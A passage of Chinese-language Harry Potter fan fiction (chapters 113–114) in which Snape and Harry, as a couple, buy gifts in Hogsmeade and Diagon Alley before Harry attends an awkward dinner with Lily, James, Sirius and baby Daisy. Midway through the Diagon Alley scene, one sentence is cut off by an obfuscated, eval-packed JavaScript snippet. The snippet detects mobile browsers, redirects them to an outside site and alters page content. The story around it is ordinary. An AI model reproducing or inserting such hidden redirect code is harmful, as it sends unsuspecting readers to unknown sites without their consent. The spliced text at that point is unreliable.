“哦?”哈利终于转过身,绿眼睛里带着挑衅,“那你要把我装进哪个罐子?还是说,”他瞥了一眼那个储藏柜,“塞进你的私人收藏里?” “试试看。”斯内普慢慢站起身,动作从容又透着危险。 下一秒,哈利发现自己被困在了工作台和斯内普之间。斯内普一只手按住了他撑在台面的手腕,另一只手扣住了他的后颈,将他牢牢固定在原地。还没等他反应过来,斯内普的唇就压了上来。 这个吻来得急促而霸道。哈利被这突如其来的动作吓了一跳,但他并没有反抗。相反,他的手自然地环住了斯内普的脖子,手指穿过他黑色的头发。 当他们终于分开时,哈利还有点晕眩。 斯内普用拇指粗暴地擦过哈利的嘴唇,直视着他的绿眼睛:“现在能停下来了吗?还是说,你打算继续把我的每一个玻璃罐都点评一遍,假装这能让你不去想波特家的晚餐?” 哈利愣了一下——他没想到自己的小动作这么明显。 “我看着你坐立不安了两个小时,你刚刚还在怀疑自己不知道怎么做个合格的儿子。”斯内普声音低沉,“你真以为我会相信你突然对魔药材料的分类产生了浓厚兴趣?” 哈利下意识地咬住下唇:“你就不能假装没看出来吗?” “然后让你把我的储藏室彻底重新‘整理’一遍?”斯内普反问,“上次你‘整理’的结果,我们都记得。” “说了那是研究——” “那是逃避。”斯内普打断他,手指依然扣在他的后颈上,“就像现在一样。” 哈利终于泄了气,额头抵在斯内普的肩膀上:“你赢了。我真的很担心……今晚。” “这难道不是显而易见的吗?”斯内普稍稍缓和下来,“问题是,你认为把自己逼疯对今晚会有任何帮助?” “总比什么都不做强,这样就不会一直想个没完了。”哈利闷声说。 “所以,”斯内普稍稍退开一点,依然将他困在狭小的空间里,“如果你还不能冷静下来,我不反对用更剧烈的方式,来清空你那被毫无意义的焦虑塞满的脑子。” 哈利眨眨眼,感到一阵哭笑不得:“你就不能用正常的方式安慰人吗?” “这难道不够有效?”斯内普反问。 “好吧,确实有效。”哈利无奈承认,脸微微发烫。 斯内普满意地哼了一声,手却没完全松开:“听着,你是个二十多岁的成年巫师,不是第一次去霍格莫德的小巫师。你面对过黑魔王,潜入过食死徒内部,昨天还刚从黑魔王面前全身而退。” “这不一样。”哈利小声说,“他们是我的父母——” “正因为他们是你的父母,”斯内普打断他,“他们会接受你的一切。莉莉……她会爱你的,就像她爱那个离开的哈利·波特一样。不,也许更多。因为你是活着的,是她能够拥抱的。” 哈利感觉喉咙有些发堵。他把脸埋在斯内普的肩膀上:“谢谢。” 斯内普没有说话,只是收紧了手臂。过了一会儿,他突然开口:“你需要准备礼物。” “什么?”哈利抬头看向他。 “拜访礼物。”斯内普松开他,神情恢复了平时的样子,“除非你想空手上门,让莉莉·波特觉得她的儿子连最基本的礼节都不懂。” 哈利的眼睛越瞪越大,“梅林的胡子!我完全没想到这一点!我怎么会没想起来?”他懊恼地抱住自己的头。 “显然是的。”斯内普简短地回应。 哈利用一种全新的目光看着眼前的男人,完全不敢相信他竟然能提出这个建议。“我……没想到你会考虑这种事。你平时看起来不会在这种社交细节上费心。” 斯内普眯起眼睛:“我‘看起来’?” “我是说——”哈利连忙解释,“我以为你不屑于这些社交规矩。” “不屑和无知是两回事。”斯内普冷笑一声,“在某些场合,这些琐碎的社交礼节自有它的用处。只是我更懂得什么时候使用它们。” 哈利若有所思地盯着他。他忽然意识到,这个能在食死徒和凤凰社之间游刃有余的双面间谍,怎么可能不懂人情世故? “但是……我该买什么?我完全不知道他们会喜欢什么。”哈利又陷入了新一轮的恐慌。 斯内普默默地看了他几秒:“我们现在就走。” “我们?” “已经是下午了。”斯内普瞥了眼墙上的挂钟,“抓紧时间,我可不想在糖果店里耗一下午。” 哈利惊讶地看着他:“你要陪我去?” “让你一个人挑?”斯内普语气里充满怀疑,“以你现在的状态,我相当怀疑你会在店里磨蹭上三个小时,最后空手而归。五分钟,换件像样的袍子。” 哈利被堵得哑口无言,但还是兴奋地跳起来,凑过去在斯内普脸颊上飞快一吻,拉着他冲出了地窖。 113. 归家前夕(下) 城堡的防护等级明显提升了,哈利刚出来就注意到外墙上多加了几层新的防护咒。费尔奇守在大门口,警惕地盯着每一个进出的人。 看到两位教授一起外出,他虽然不敢阻拦,但还是从鼻子里发出一声不满的喷气,用他那双充满怀疑的眼睛在他们之间来回扫视。 哈利能感觉到那目光黏在他们背上,直到转过拐角才消停。 “我怀疑他会告诉每一个他遇到的人。”哈利说。 “那是他为数不多的乐趣之一。”斯内普语淡淡回答,“随他去。” 哈利心里不由得有些痒痒。他试着伸手去牵斯内普,却被对方侧身避开了。 “在公共场合,哈利。” “这里又没有别人。”哈利不死心。 “保持警惕是一种美德。”斯内普说话时放慢了脚步,肩膀时不时和哈利碰一下。 霍格莫德的村庄春意盎然,路边的花朵开得正盛,复活节装饰挂满了每条街道,平添几分节日气氛。 他们的第一站是蜂蜜公爵糖果店。哈利在货架间转了好几圈,糖果看上去是个安全的选择,可面对琳琅满目的种类,他还是有点拿不定主意。 “你就算送一整盒比比多味豆,”斯内普在他身边假惺惺地说,“我敢肯定,现在的詹姆斯·波特也会含着泪全部吃下去,并且称赞耳屎味的那颗别具风味。” 哈利回过头,对他翻了个白眼:“你就不能别这么阴阳怪气吗?昨晚的你可爱多了。” 斯内普耳尖一红,不自在地清了清嗓子,眼神飘向了一旁,趁着无人在意这个角落,飞快地伸出手,指尖在哈利手上轻轻一勾,又迅速缩回。 “这些糖果太幼稚了。”哈利压下唇边的笑意,假装没察觉那触碰,转向另一边货架。 “我很惊讶你居然意识到了这点。”斯内普从旁边的货架上拿起一个深紫色的天鹅绒礼盒,“试试这个。” 哈利接过礼盒,发现盒子还挺沉的。打开一看,里面是排列整齐的各色饼干。 “典藏系列。”斯内普解释,“适合正式场合。” 哈利仔细看着标签:“黄油啤酒太妃饼干、薄荷巧克力片、蜂蜜杏仁酥……”他抬起头,“看起来不错。” “不只是看起来。”斯内普咳了一声,“黄油啤酒太妃口味……莉莉以前很喜欢。” 哈利立刻做出决定:“那就这个。”说着他又歪头瞅着斯内普,“这么看来,你对我妈妈了解得是挺多的。” 斯内普的回答难得有些迟疑:“……曾经。” “曾经?”哈利挑起眉毛,语气里带着调侃。 斯内普转过头,黑眼睛看着他。过了几秒,他的声音软下来:“现在,我有了更重要的人。” 哈利觉得店里好像有点热过头了。他移开视线,抱紧礼盒:“我们去付钱吧。” “哈利,西弗勒斯?” 哈利回头,看见麦格教授刚推门进来,身后跟着两个女性。年长的那位大约三十多岁,和麦格有几分相似,应该是她的侄女。而她手里牵着的小女孩不过五六岁,正好奇地四处张望。 “米勒娃,复活节快乐。”两人不约而同地说,下意识拉开了一点距离。 “你们也是,没想到会在这儿碰上。”即使是假期,麦格的格子长袍依然穿得一丝不苟。她侧身对侄女低语几句,后者便带着小女孩走向糖果区。 “昨天的事情,”麦格压低声音,目光在两人脸上扫过,“一切都还好吗?” “一切顺利。”斯内普答道,显然不愿多谈。 麦格会意点头,目光随即落在了哈利手里的礼盒上。那双猫一样锐利的眼睛微微眯起,“在挑选礼物?” “是的。”哈利尽量保持镇定,“为一位朋友。” 他说“朋友”时稍稍一顿,而麦格显然注意到了。 “朋友。”麦格重复这个词,“能让你们两位一起出来购物,想必是很特别的朋友。” 斯内普面无表情地走向柜台:“我们还有别的事,先走一步,米勒娃。” “自然。”麦格对他们点点头,“祝你们购物愉快。记得替我向那位朋友问好。” 等出了店,哈利才松了口气:“你觉得她看出什么了吗?” 斯内普哼了一声:“米勒娃·麦格的眼睛比她的阿尼马格斯形态还要锐利。她在霍格沃兹教书几十年,什么事没见过?有没有意识到你的身份问题我不敢肯定,但我们之间的‘友谊’显然瞒不过她。” 哈利忍不住笑了:“听起来我们像是偷偷约会的学生。” “某种程度上,”斯内普瞥了他一眼,“你的心智年龄有时候和学生没什么区别。” “嘿!”哈利抗议,用肩膀撞了撞他。 斯内普躲开了,嘴角却微微翘了起来。 “还需要什么?”他问。 “我想给黛西买个礼物。”哈利想了想,又补充道,“我妹妹。” 说出“妹妹”这个词感觉很奇怪。在另一个时间线,他是独生子。而现在,他有了一个不到一岁的小妹妹。 斯内普等了一会儿,才开口:“霍格莫德没有合适的婴儿用品店。” “那怎么办?” “对角巷。”斯内普看了眼时间,“现在去,应该能赶在六点前回来。” “你确定要继续陪我去吗?”哈利问,“我是说,这会花很长时间——” 斯内普眯起眼睛,“哈利,如果你再说一次这种话,我发誓会给你一个恶咒。” “什么咒?”哈利憋着笑。 “闭嘴的咒。”斯内普威胁,“让你一整天都说不出这种蠢话。” “那我晚餐时要怎么告诉我父母和黛西我爱他们?” 斯内普的表情柔和了一瞬:“用行动。” 他们对视片刻,然后斯内普伸出手:“抓紧。对角巷。” 幻影移形的挤压感一闪即逝,转眼间他们已经站在了熟悉的鹅卵石路上。复活节假期的对角巷人潮汹涌,街头巷尾都是来来往往的巫师。斯内普熟门熟路地领着哈利穿过人群。他那一身黑袍和冷峻的气势让路人自动让开了道路,没人敢挡在这位面无表情的巫师面前。 “看来到哪儿都有人怕你。”哈利小声嘟囔。 “这样我们能更快买完东西。”斯内普毫不在意,“除非你想整个下午都浪费在人群里。” “摇篮与飞天扫帚”在对角巷中段,橱窗里一把玩具扫帚正带着彩色泡泡打转。 店里很安静,只有轻柔的音乐在流淌。一位圆脸女巫在柜台后整理着什么,看到他们进来,友好地点了点头。 哈利和斯内普开始在店里慢慢逛着。会自动摇晃的魔法摇篮里飘着柔软的云朵,架子上摆满了会动的故事书——翻开就能看到小巫师挥着魔杖。斯内普拿起一块号称能变成神奇生物的积木,它懒洋洋地从立方体变成了一只毫无说服力的火龙。 “都是些华而不实的东西。”斯内普把积木放回架子,语气里满是不屑。 哈利表示同意。他想给黛西挑一些更特别的东西。 就在他们经过玩具区时,哈利像被施了定身咒,忽然走不动了。 货架上摆着一只泰迪熊,旁边的小牌子写着“变色绒绒”。毛茸茸的熊身,琥珀色的玻璃珠眼睛,看起来普普通通。可哈利一眼就认出了它——和另一个世界里,他送给泰迪的那只一模一样。 哈利的手不自觉地伸过去,指尖轻轻碰触那柔软的皮毛。泰迪熊立刻有了反应——满身的毛从普通的棕色变成了温暖的蜜糖色。 两岁的泰迪非常喜欢这个玩具。那时安多米达笑着说:“这孩子,走到哪儿都要抱着这只熊。你看,熊的颜色都跟着他的头发颜色变呢。” 后来泰迪搬来和他一起住时,那只泰迪熊也跟着来了——即使那时泰迪已经四岁,还是舍不得丢掉它。每天晚上,那只熊都安静地坐在床头柜上,像个忠实的守护者。 可现在的泰迪十三岁了。那些本该慢慢长大的年月,就和那只留在原来时间的泰迪熊一样,被时间残忍地夺走,如同从中间撕掉的书页,再也无法补全。 “哈利?”斯内普皱起眉,察觉到他的异常。 哈利这才发现自己的手还停在泰迪熊上。要买下来吗?他几乎能想象泰迪收到礼物时的表情——先是惊讶,然后大概会说谢谢,再悄悄把它塞进箱子底。 十三岁的男孩不需要泰迪熊。他们需要的是飞天扫帚、魁地奇装备,或者最新的恶作剧产品。 哈利慢慢收回手。那只熊的颜色渐渐从蜜糖色褪回棕色。 “没什么。只是想起了一些事。”他勉强笑了笑,“走吧,我们去别的地方看看。” 直到走到店铺深处的音乐区,哈利才终于让自己从那种忧伤中抽离出来。他需要专注于眼前的任务——为黛西挑选礼物。 他的目光在货架间游移,然后停在了一个胡桃木音乐盒上。繁复的雕花配上星星点点的银饰,让它在一众色彩鲜艳的玩具中显得格外特别。 “请问——”哈利回头对柜台方向扬声,“能麻烦您过来一下吗?” 圆脸女巫立刻放下手中的东西快步走来:“当然!有什么能帮您的?” “我想看看这个音乐盒。”哈利指着架子。 “您真有眼光!”圆脸女巫取下音乐盒,“这是妖精工匠的手工作品。” 她掀开盒盖,露出一座微缩的魔法城堡。随着旋律响起,城堡缓缓旋转,窗户逐一亮起,小小的人影在其中晃动。 斯内普审视片刻,“做工不错。”这个评价对他来说已经是极高的赞赏。 “它还有个特别的功能。”女巫兴奋地介绍,“能记录并投射星空。您看盒盖上这些银星,晚上在户外时,用魔杖轻点中央这颗最大的星星,说‘星辰记忆’,它就能捕捉当时的整片星空。” “可以记录很多次吗?”哈利问。 “当然!它能储存上百个星空记忆。很多家长会在孩子每年生日晚上记录一次。”女巫拿出魔杖,“我给您演示一下已经储存的——” 银星骤然亮起,一片微缩的立体星空在盒子上方浮现,繁星缓缓旋转,流星划过,仿佛整个夜空都被装进了这个小小的空间里。 “播放音乐时,”女巫笑眯眯地补充,“它会轮流展示每段星空记忆。” “我要这个。”哈利合上音乐盒,小心地抱在怀里。 “需要刻字吗?”女巫问,“免费的。” 哈利思索了片刻:“那就——‘给黛西,愿星光伴你入梦’。” 女巫拿着音乐盒去刻字,两人则在店里随意闲逛。哈利在一架摇篮前驻足,看着上方施了魔法的小星星轻转。 “说起来,我这辈子只照顾过一个婴儿。”他突然说。 “泰迪。”斯内普马上明白他在说谁。 “对。”哈利回忆道,“那时候他才几个月大,安多米达忙不过来,我就过去住了一阵子。我第一次换尿布的时候简直是场灾难。他一哭,头发就变成红色,我还以为他生病了……” 他絮叨着那些往事,斯内普安静地听着,偶尔插一句评论。 “泰迪小时候特别难哄睡。”哈利接着说,“安多米达试遍了所有办法——摇篮曲、魔法摇铃,差点没用上昏睡咒。最后你知道什么最管用吗?” 斯内普静静等着他继续说。 “抱着他。”哈利说,“只要抱在怀里,他就会慢慢安静下来。安多米达说可能是因为听到了心跳声。” “合理。”斯内普补充了一句,“婴儿的本能。” “但愿今晚黛西别哭。”哈利语气发愁,“要是她哭了,我完全不知道该怎么哄。泰迪当时还好,他认得我了,可黛西……” “她会慢慢认识你的。”斯内普平静地说。 哈利摇摇头:“她才见过我一次。要是她哭,我总不能对婴儿解释我是她哥哥吧?” —————— 刻字花了些时间,等他们从店里出来时,阳光已经开始西斜。 “时间不早了。”斯内普抬头看了看天色。 “还有点时间。”哈利说,“我们可以再逛逛。” 斯内普斜了他一眼:“你是想继续买礼物,还是在拖延时间?” “也许都有一点。”哈利老实承认。 他们在对角巷漫无目的地逛着。路过一条窄巷时,哈利忽然顿住脚步。 那是一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156451|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很容易被忽略的窄巷,夹在两栋高大的建筑之间。巷口有一家不起眼的小店,招牌已经褪色,勉强能辨识出“荆棘与花瓣”几个字。 但吸引哈利的不是店铺,而是橱窗里的某样东西。 在一片杂乱的绿色植物中,一株银色的花静静立在角落,花瓣在阳光下闪烁着光泽,姿态优雅得让人屏息。 “西弗勒斯,你看——”哈利指过去。 斯内普顺着他指的方向看去。他的视线在那株花上停了下来,表情没有什么变化。 橱窗前,两人都没有说话。玻璃上映出他们模糊的倒影。 “很少见。”斯内普平静地说。 “要进去看看吗?”哈利问。 斯内普点了点头。 十分钟后,他们走出花店,哈利怀里小心抱着一个加了多重保护咒的花盆。 “你觉得她会喜欢吗?”他轻声问。 斯内普知道他指的是谁:“只要是你送的。”他稍微停了停,“何况你选得很用心。” 他们抱着一堆礼物幻影移形回霍格莫德。夕阳正好,城堡沐浴在金色余晖里,每扇窗户都透出温暖的光。 眼看着离晚餐时间越来越近,哈利的胃又开始痉挛了,连抱着礼物的姿势都有点僵硬。刚才购物时的轻松感如退潮般消散,熟悉的恐慌再次爬了上来——他真的要去了,要坐在餐桌前,面对他的父母。 斯内普注意到了他的变化。 “你打算怎么过去?”斯内普问。 “三把扫帚有飞路网。”哈利的声音有点飘忽。 斯内普点点头,然后说:“深呼吸,哈利。” 哈利照做了,但效果不大。 “听着,”斯内普的语气温和得快不像他了,“你不需要假装什么。你只需要做你自己——那个会为妹妹精心挑选音乐盒的人,那个能让莉莉冲过来给你一个拥抱的人。他们等的不是完美的儿子,而是你。” “今晚……”他迟疑了下,似乎在斟酌措辞,“祝你好运。” 哈利眼巴巴地望着他,“你真的不和我一起去吗?” “那是你的家庭聚餐。”斯内普说,“你的家人不会期望看到我。” 哈利知道他说的是对的,可他还是想争取下,“他们会习惯的。总有一天他们要接受——” “我很怀疑会有那么一天。”斯内普说。 “你太悲观了。”哈利嘀咕。 “我更愿意称之为现实。”斯内普不以为意地说,“告诉我,哈利,你打算怎么介绍我?” 哈利张了张嘴,一时语塞。 “我敢肯定,你说出西弗勒斯·斯内普这个名字的瞬间,詹姆斯·波特的魔杖就会出现在手里。至于你那位忠诚的教父……” 斯内普没有说完,但哈利已经能想象出那个画面——小天狼星肯定会气得炸毛,而莉莉夹在中间不知所措。晚餐?那会变成一场灾难。 哈利沮丧地发现,自己根本没有认真考虑过这个问题。他只是凭着一股冲动,想让斯内普陪在身边,却完全忽视了现实的麻烦。 “如果你足够明智,”斯内普警告道,“今晚就别在餐桌上提起我的名字。” “好吧。”哈利咬了咬唇,不得不放弃之前那个念头,“那你等我回来找你?今晚?” 斯内普挑起一边的眉毛:“我以为你会想在那里过夜。毕竟是难得的家庭团聚。” 哈利的脸瞬间烧了起来,瞪了他一眼:“你明知道我更想回来。” “因为……”他的脸更红了,但还是大胆地迎上斯内普的目光,“我想和我的恋人在一起。有问题吗?” 斯内普盯着他看了几秒,轻笑了一声:“格兰芬多的直白。” “斯莱特林的装模作样。”哈利反击。 “我会在地窖等你。”斯内普说。 “把密道改成口令开门吧。”哈利说,“我可不想站在门外敲半天。我觉得,以后得多用用这条密道——你昨晚穿着睡袍过来的样子还挺带感的。” 斯内普眼神微动:“所以你打算今晚也——?” “你想要我穿什么?”哈利故作无辜。 “你想要什么口令?”斯内普没有接话,反问道。 哈利想了想:“‘南瓜馅饼’。” 斯内普停顿了一下:“……你是认真的?” “当然!”哈利理直气壮,“莉莉说今晚要做,我从早上就开始期待了。而且你想想,谁会猜到魔药教授的密道口令是甜点?” “你选口令的标准就是没人能猜到?”斯内普干巴巴地说,“那为什么不选‘哈利?波特从不惹麻烦’?保证没人会想到你会用这个。” “西弗勒斯!”哈利抗议。 “或者‘我爱魔药课’?”斯内普继续道,嘴角微微上扬,“这个更没人能猜到。” “那我得先学会说谎才行。”哈利夸张地捂住胸口,“当年你给我扣了多少分?你还不如直接对我用夺魂咒——” 斯内普脸色变了。 哈利意识到自己说错话了——该死,他怎么能在斯内普面前提不可饶恕咒? “抱歉,我不是故意——” “南瓜馅饼就南瓜馅饼。”斯内普抢在他道歉完成前开口,“记得别吃太撑。” 他转身离开,走了几步又回头,“还有记得你答应的,穿着合适的衣服回来。别让我等到凌晨,否则……” “否则什么?”哈利配合地问道。 “否则你就吃不到明天的早餐了。”斯内普丢下这句话,大步离开。 “我会记得的。”哈利冲着他的背影喊道。 斯内普的身影消失在转角。哈利在原地站了一会儿,直到夕阳把他的影子拉得老长。 他调整了一下怀里的礼物,音乐盒的边角硌得他手臂有点发麻。走向三把扫帚的路不长,可每一步都像踩在棉花上。这不只是一顿晚餐,这是莉莉知道真相后第一次正式邀请他。而詹姆斯……哈利既期待又忐忑,不确定那个一直回避他的父亲今晚会如何面对他。 快到三把扫帚时,哈利停下脚步,回头看了一眼城堡。 “南瓜馅饼。”他小声念了一遍口令,发现自己没有那么担心了。 114. 家庭晚餐(上) 绿色的火焰渐渐熄灭,哈利从壁炉里走了出来。壁炉的余温还在烘烤着他的后背,怀里的礼品盒边角硌得他手臂有些发疼。他站在波特家的客厅里,一时间有些恍惚。 客厅里没有人。那只有点年头的魔法钟依旧挂在壁炉架上,角落里的扶手椅也还是老样子。然而对面的墙壁变得空旷了许多。去年七月,那里挂满了照片,每一张里都有个和他一模一样的男孩。现在只剩下几张夫妻合影,和墙纸上淡淡的方形印痕。 哈利逼着自己把视线从墙上移开,这才注意到地毯上多了张婴儿游戏垫,茶几上搭着鹅黄色的羊绒小毯,旁边散落几个奶瓶。靠近壁炉的角落里,一架摇篮正轻轻摇晃着。 他抱着礼物站在这儿,不知道该把它们放哪儿。礼物在他怀里越来越重。他向茶几走了一步,又停下。他转向壁炉架,但那里已经摆满了别的东西。最后,他只能退回原地,像个等待指示的访客。 厨房方向传来烤鸡和南瓜馅饼的香气。去年的那一天,莉莉端着生日蛋糕从厨房走出,他差点脱口喊出那个只在梦里出现的称呼。今天,没有人会阻止他说出口了。可那两个字就是被死死卡在喉咙里。 “哈利?” 哈利抬起头,看见莉莉就站在厨房门口,身上还系着一条沾了面粉的围裙。她的红发乱糟糟地挽在脑后,额前贴着几缕汗湿的碎发,绿色的眼睛一眨不眨地望着他。 “我听到壁炉的声音……”她说话时声音有些飘忽。 两人隔着几步距离对视。莉莉的目光在他身上扫了一遍,从凌乱的头发到袍子,再到鞋子,才回到他的脸上,在他额头的伤疤上停了停。 “昨天……”她开了口,话到一半又停住了,手指无意识地绞着围裙的一角。“你……没事吧?” 楼梯上传来一阵脚步声——起初急促,走到一半慢了下来,最后几步拖拖拉拉的。 “莉莉?”詹姆斯的声音从楼梯的转角传来,带着些许的紧张,“是哈利来了吗?” 他出现在楼梯口,手里捏着一个银质相框。在看到哈利的瞬间,他的动作停滞了,脚在半空中悬了片刻才落到下一级台阶上。 父子两人的目光在空中短暂相遇,又迅速分开。詹姆斯低头看向手里的相框,哈利的视线钉在自己抱着的礼物盒上。 詹姆斯走下楼梯,在壁炉架前停下。他把相框小心放上去,调整了一下角度,手指在框边停留了一会儿。哈利用余光瞥了眼,还没看清楚内容,詹姆斯已经转过身来,正好挡住了相框。 “你……来了。”他的手在身侧握了握,明明是在和哈利打招呼,目光却越过他落在了门框上。 “晚上好。”哈利的回应同样干涩。 沉默再次降临。三人各自站在自己的位置上——莉莉一只手扶着厨房的门框,看看詹姆斯,又看看哈利,嘴唇动了动,什么也没说出来;詹姆斯站在壁炉架前,盯着天花板的一个角落;而哈利站在客厅中央,感觉怀里礼物的重量正在把他的手臂往下拉。 “我带了些——”哈利抬了抬手臂。 “要不要先——”莉莉指向沙发。 “你可以把——”詹姆斯朝茶几偏了偏头。 三个声音撞在一起。他们都停了下来,面面相觑。接下来的沉默更加令人窒息。 “我带了些东西。”哈利终于完成了那个句子。他把怀里的礼物稍微往前递了递,觉得自己像个上门推销的傻瓜。 “哦!让我……”莉莉像突然醒过来,快步上前,手伸到一半又停下。“我是说,先坐下吧,我去看看烤箱。”她的声音有些慌乱,像是迫不及待想逃回厨房。 “看在梅林的份上,你们三个是在演什么哑剧吗!” 小天狼星像一阵旋风般卷进客厅。 “哈利!”他大步流星地走进来,径直朝哈利走去,毫不犹豫地给了他一个结实的拥抱,用力拍着他的背。“你总算来了!我们等了很久!” 那个拥抱温暖而有力。小天狼星凑在他耳边,压低声音飞快地说:“放松点。”然后他退开一点,视线扫过他怀里那堆东西上,吹了声口哨,“梅林的胡子,你带这么多东西干什么?”他边说边自然地接过几个盒子,“我们又不是第一次——” 话说到一半,他意识到了什么,目光快速扫过詹姆斯和莉莉,及时改口:“我是说,来来来,都别杵着了。莉莉准备了一桌子好吃的,香得我在书房都要疯了。” 小天狼星的出现总算让房间里僵硬的气氛有了一丝缓和。莉莉对他投去一个充满感激的眼神,肩膀明显放松了些;詹姆斯看上去也没那么僵硬了,虽然动作还是有些不自然,但至少不再像个雕像。 莉莉终于露出了今晚第一个真正的笑容。她走到哈利面前,手指轻轻碰了碰他的脸颊,然后在上面印下一个吻。 “欢迎回家,哈利。”她轻声说。 詹姆斯指了指沙发,也找回了一些声音,虽然还带着几分生硬,“坐吧。”他自己却站着没动,似乎还没有决定好该坐到哪个位置。 —————— 小天狼星把哈利带来的那堆礼物一股脑儿地堆在了茶几旁的矮柜上,顺势把哈利按进沙发厚实的靠垫间,自己大咧咧地坐在他身边,长腿一伸,“莉莉,我们的小公主呢?睡醒了吗?” “应该快了,”莉莉露出了笑意,“我去看看。” 詹姆斯挑了个位置,坐到对面的单人扶手椅里,与哈利隔着茶几,不远不近,刚好能聊上几句,又不必直视彼此。 他一坐下,壁炉架上的银质相框便露了出来。哈利的视线不由自主地被吸引过去,这次他终于看清了内容。照片里的小黛西坐在软垫的摇篮里,胖乎乎的小手抓着一只银色摇铃。照片中的黛西似乎感觉到了哈利的目光,咯咯笑了起来,露出一排没有牙的小嘴,棕色的眼睛亮晶晶的,充满了对世界的好奇。 “梅林啊,这是什么时候拍的?”小天狼星顺着哈利的视线看过去,夸张地捂住胸口,“看看这小天使!她长得可真像莉莉,哦,除了那双眼睛!” 詹姆斯嘴角微微一扯,像是在忍笑,又像是要反驳:“上周。她抓着摇铃不撒手,莉莉非要拍下来。” “才一个月就这么机灵了?”小天狼星摇着头,视线在屋里转了一圈,“说到这个,我昨晚就想问了,你们这是被家养小精灵重新装修了吗?我就一个月没来,这里快堆得像婴儿用品展览馆了。那边角落里那个是什么,会走路的摇篮?” “是自动摇篮。”詹姆斯纠正道,语气里透出几分无奈,“婴儿哭时会自动摇晃。莉莉在《现代巫师育儿指南》上看到的,你不知道她买了多少。上周还买了套会自动换尿布的魔法装置——” “还有那堆五颜六色的,”小天狼星又指着茶几下面,眉毛一挑,“那是什么?” “会变形的积木。”哈利试着加入对话,“能自动拼成各种神奇动物。我在对角巷的婴童店里看到过。” 詹姆斯看了他一眼,很快又移开视线,但还是应了句:“这套能拼出二十多种。黛西最喜欢看它们变成独角兽。” “梅林都想不到现在有这么多稀奇古怪的育儿用品。”小天狼星翻了个白眼,往沙发上一靠,“叫我说,明明挥一挥魔杖就能解决所有事——” “可它们运作得很好!”莉莉的声音从楼梯口传来,轻快地打断了小天狼星的抱怨。她抱着黛西缓步走下楼,小家伙醒着,棕色的大眼睛滴溜溜地转,带着好奇打量四周。 一看到客厅里的人,黛西顿时兴奋起来,小手胡乱挥舞着,嘴里发出快乐的咿呀声。她的目光锁定哈利,咧开没牙的小嘴笑得更欢,小手用力朝他伸过去。 “看,她还记得你。”莉莉走到哈利身边,动作自然地坐下,笑着把黛西往他那边轻轻一送。小家伙立刻伸出手,一把抓住了哈利的手指,小小的掌心攥得结实。 “她握得真紧。”哈利忍不住笑了,任由黛西紧抓着他的手指,小心地用另一只手碰了碰黛西软乎乎的脸颊。 “说明她喜欢你。”莉莉说着,眼神不经意地瞥了对面的詹姆斯一眼。但詹姆斯只是低头研究着自己交叉的双手。 莉莉脸上的笑意淡了几分。她轻挥魔杖,角落里的摇篮无声地飘过来,稳稳停在沙发旁。她弯腰把黛西放进去,塞了个摇铃在她手里,又拉了拉小毯子盖好。“你们聊着,我去泡茶。”她起身前,顺手抚了抚黛西细软的头发,才转身走向厨房。 小天狼星立刻凑到婴儿椅旁边,挤眉弄眼地逗黛西。小家伙被逗得咯咯直笑,口水都流到了围嘴上。 哈利看着小天狼星逗黛西的样子,脑海里突然闪过什么:“对了,莱姆斯和泰迪呢?” “哦,莱姆斯带泰迪回他家了。”小天狼星头也不抬,手指还在摇篮边比划着怪样,“本来想邀请他们一起来,但他过两天要去约克郡,你知道的,凤凰社任务。他想趁假期最后几天多陪陪泰迪。” 哈利点点头,随即眉头又微微皱起。约克郡荒原上有那些狼人的聚落。虽然卢平只是去见那些和他境遇相似的人,但接触那些游离在边缘的狼人总归有风险。 “别露出那种表情。”小天狼星瞥了他一眼,“莱姆斯比你想的谨慎多了。而且我们会负责把泰迪送上回学校的火车,用不着你操心。” “我没有——” “你就是在操心。”小天狼星笃定地打断他。 这时,莉莉端着茶盘回来,哈利便没再接话。 “小天狼星,别把她逗得太兴奋。”莉莉把茶盘搁在茶几上,“一会儿该吃不下奶了。” 她先给哈利倒了一杯:“伯爵茶,两块糖?” “谢谢。”哈利接过茶杯。 轮到詹姆斯时,莉莉没开口问他,只是默默把茶杯放在他身旁的小桌上。 “谢谢。”詹姆斯低声道了谢,眼睛盯着茶杯就是不看莉莉。 小天狼星看看这个,又看看那个,翻了个大大的白眼,但硬是忍住没吭声,伸手去拿自己的茶。 哈利放下杯子,想起带来的东西:“哦,我差点忘了——” 他起身走到礼物堆旁,拿起最上面的盒子和酒瓶:“这是蜂蜜公爵的典藏饼干礼盒,还有……”他看了看手里的酒瓶,有些不好意思,“高地山精红。我在三把扫帚问罗斯默塔夫人有什么适合餐桌上喝的,她就推荐了这个,说这是个小酒庄今年新出的款,产量很少,她店里就剩两瓶了。我想着大家晚餐时能喝两杯……” “高地山精红?”小天狼星眼睛一亮,伸手接过酒瓶,上下打量,“不错啊,这个配烤鸡正好。” “你不是说葡萄酒太甜,喝起来像果汁吗?”詹姆斯开口,语气里夹着点挑衅,虽然还是没看哈利。 “那是你挑的酒不行。”小天狼星毫不示弱地回怼,“反正总比你酒柜里那一排火焰威士忌强。我都喝腻了。” “威士忌是经典——” “威士忌是老套!”小天狼星大笑着拍了拍哈利的背,“说真的,哈利,这酒选得太棒了。总算有点新鲜的了。” 哈利被他弄得有些不好意思,赶紧把饼干盒推到莉莉面前:“这个是典藏系列的饼干礼盒。是西——”他感觉自己的耳根瞬间烧了起来,那个名字就在嘴边,硬生生被他咬了回去。他急忙改口,声音都有些不稳:“是……店员推荐的。说是最受欢迎的一种。” “谢谢你,哈利。”莉莉接过礼盒,“我们好久没 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莉莉倒吸一口气,下意识地看向詹姆斯。詹姆斯愣愣地回望着她。 黛西完全没在意大人们的反应,她咯咯地笑出声,两只小手兴奋地挥舞着。半片星空都亮得像白昼,闪烁的光芒在她棕色的眼睛里跳动着。 “她会是个了不起的女巫。”哈利凝视着这一幕,目光温柔地落在黛西身上,“等她长大了,每个特别的夜晚都能记录下来。生日、圣诞节……任何想要记住的时刻。” 他停了停。 